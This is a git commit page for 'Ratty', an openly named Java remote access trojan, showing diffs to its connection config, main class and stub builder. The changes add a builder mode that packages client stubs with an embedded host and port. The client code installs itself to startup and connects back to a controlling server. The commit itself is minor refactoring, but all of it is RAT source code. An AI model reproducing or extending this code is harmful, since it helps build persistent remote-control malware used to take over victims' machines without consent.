Browse Source

Small changes

Fixes
master
Sogomn 9 years ago
parent
commit
74ac38da61
  1. 8
      Ratty/res/connection_data.txt
  2. 25
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 17
      Ratty/src/de/sogomn/rat/builder/StubBuilder.java

8
Ratty/res/connection_data.txt

@ -1,3 +1,9 @@
localhost
23456
false
false
false
1 - Host
2 - Port
3 - Client?
4 - Builder?

25
Ratty/src/de/sogomn/rat/Ratty.java

@ -10,6 +10,7 @@ import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.gui.RattyGui;
import de.sogomn.rat.server.gui.RattyGuiController;
@ -20,6 +21,7 @@ public final class Ratty {
private static String address;
private static int port;
private static boolean client;
private static boolean builder;
private static final String PORT_INPUT_MESSAGE = "Which port should the server be bind to?";
@ -40,14 +42,16 @@ public final class Ratty {
private static void readConnectionData() {
final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME);
if (lines.length >= 3) {
if (lines.length >= 4) {
final String addressString = lines[0].trim();
final String portString = lines[1].trim();
final String clientString = lines[2].trim();
final String builderString = lines[3].trim();
address = addressString;
port = Integer.parseInt(portString);
client = Boolean.parseBoolean(clientString);
builder = Boolean.parseBoolean(builderString);
}
}
@ -111,10 +115,7 @@ public final class Ratty {
server.start();
}
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
public static void start() {
if (client) {
addToStartup();
connectToHost(address, port);
@ -129,4 +130,18 @@ public final class Ratty {
}
}
public static void main(final String[] args) {
WebLookAndFeel.install();
readConnectionData();
if (builder) {
StubBuilder.start();
System.exit(0);
} else {
start();
}
}
}

17
Ratty/src/de/sogomn/rat/builder/StubBuilder.java

@ -14,13 +14,11 @@ import java.nio.file.StandardCopyOption;
import javax.swing.JFileChooser;
import javax.swing.JOptionPane;
import com.alee.laf.WebLookAndFeel;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.Ratty;
final class StubBuilder {
public final class StubBuilder {
private static final String ADDRESS_MESSAGE = "Address?";
private static final String PORT_MESSAGE = "Port?";
@ -33,7 +31,7 @@ final class StubBuilder {
private static File getFileInput(final boolean open) {
final JFileChooser fileChooser = new JFileChooser();
final File currentDirectory = new File("");
final File currentDirectory = new File(".");
fileChooser.setCurrentDirectory(currentDirectory);
@ -94,21 +92,18 @@ final class StubBuilder {
Files.copy(in, fileToReplace, StandardCopyOption.REPLACE_EXISTING);
jarFileSystem.close();
in.close();
} catch (final IOException ex) {
ex.printStackTrace();
}
}
public static void main(final String[] args) {
WebLookAndFeel.install();
public static void start() {
final File jarFile = copyJarFile();
if (jarFile == null) {
System.exit(0);
if (jarFile != null) {
replaceFile(jarFile);
}
replaceFile(jarFile);
}
}
Loading…
Cancel
Save